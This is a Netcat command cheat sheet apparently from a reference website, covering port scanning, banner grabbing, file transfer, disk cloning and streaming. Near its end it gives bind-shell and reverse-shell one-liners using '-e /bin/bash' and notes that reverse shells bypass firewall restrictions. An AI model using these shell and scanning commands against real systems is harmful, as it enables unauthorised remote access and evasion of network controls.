---
title: Netcat
date: 2020-11-25 18:28:43
background: bg-blue-600
tags:
  - ncat
  - nc
  - utility
  - network
  - traffic
categories:
  - Linux Command
intro: This cheat sheet provides various for using Netcat on both Linux and Unix.
plugins:
  - copyCode
---

## Getting Started {.cols-5}

### Usage {.col-span-2}

Connect to a host located anywhere

```shell script
$ nc [options] [host] [port]
```

Listen for incoming connections

```shell script
$ nc -lp port [host] [port]
```

### Option examples {.col-span-3 .row-span-2}

| Option | Description                | Example                                  |
| ------ | -------------------------- | ---------------------------------------- |
| `-h`   | nc -h                      | Help                                     |
| `-z`   | nc -z 192.168.1.9 1-100    | Port scan for a host or IP address       |
| `-v`   | nc -zv 192.168.1.9 1-100   | Provide verbose output                   |
| `-n`   | nc -zn 192.168.1.9 1-100   | Fast scan by disabling DNS resolution    |
| `-l`   | nc -lp 8000                | TCP Listen mode _(for inbound connects)_ |
| `-w`   | nc -w 180 192.168.1.9 8000 | Define timeout value                     |
| `-k`   | nc -kl 8000                | Continue listening after disconnection   |
| `-u`   | nc -u 192.168.1.9 8000     | Use UDP instead of TCP                   |
| `-q`   | nc -q 1 192.168.1.9 8000   | Client stay up after EOF                 |
| `-4`   | nc -4 -l 8000              | IPv4 only                                |
| `-6`   | nc -6 -l 8000              | IPv6 only                                |

### Chat client-server {.col-span-2}

Server (192.168.1.9)

```shell script
$ nc -lv 8000
```

Client

```shell script
$ nc 192.168.1.9 8000
```

## Netcat Examples

### Banner grabbing

```shell script
$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1
```

or

```shell script
echo "" | nc -zv -wl 192.168.1.1 801-805
```

### Port scanning

Scan ports between 21 to 25

```shell script
$ nc -zvn 192.168.1.1 21-25
```

Scan ports 22, 3306 and 8080

```shell script
$ nc -zvn 192.168.1.1 22 3306 8080
```

### Proxy and port forwarding

```shell script
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
```

or

```shell script
$ nc -l 8001 | nc 127.0.0.1 8000
```

Create a tunnel from one local port to another

### Download file

Server (192.168.1.9)

```shell script
$ nc -lv 8000 < file.txt
```

Client

```shell script
$ nc -nv 192.168.1.9 8000 > file.txt
```

Suppose you want to transfer a file “file.txt” from server A to client B.

### Upload file

Server (192.168.1.9)

```shell script
$ nc -lv 8000 > file.txt
```

Client

```shell script
$ nc 192.168.1.9 8000 < file.txt
```

Suppose you want to transfer a file “file.txt” from client B to server A:

### Directory transfer

Server (192.168.1.9)

```shell script
$ tar -cvf – dir_name | nc -l 8000
```

Client

```shell script
$ nc -n 192.168.1.9 8000 | tar -xvf -
```

Suppose you want to transfer a directory over the network from A to B.

### Encrypt transfer {.col-span-2}

Server (192.168.1.9)

```shell script
$ openssl enc -des3 -in file.txt -pass pass:password | nc -l 8000
```

Client

```shell script
$ nc 192.168.1.9 8000 | openssl enc -des3 -d -pass pass:password -out file.txt
```

Encrypt data before transfering over the network

### Clones

Server (192.168.1.9)

```shell script
$ dd if=/dev/sda | nc -l 8000
```

Client

```shell script
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
```

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

### Video streaming

Server (192.168.1.9)

```shell script
$ cat video.avi | nc -l 8000
```

Client

```shell script {.wrap}
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
```

Streaming video with netcat

### Remote shell

Server (192.168.1.9)

```shell script
$ nc -lv 8000 -e /bin/bash
```

Client

```shell script
$ nc 192.168.1.9 8000
```

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission
to install them, then we can create remote shell using netcat also.

### Reverse shell

Server (192.168.1.9)

```shell script
$ nc -lv 8000
```

Client

```shell script
$ nc 192.168.1.9 8000 -v -e /bin/bash
```

Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections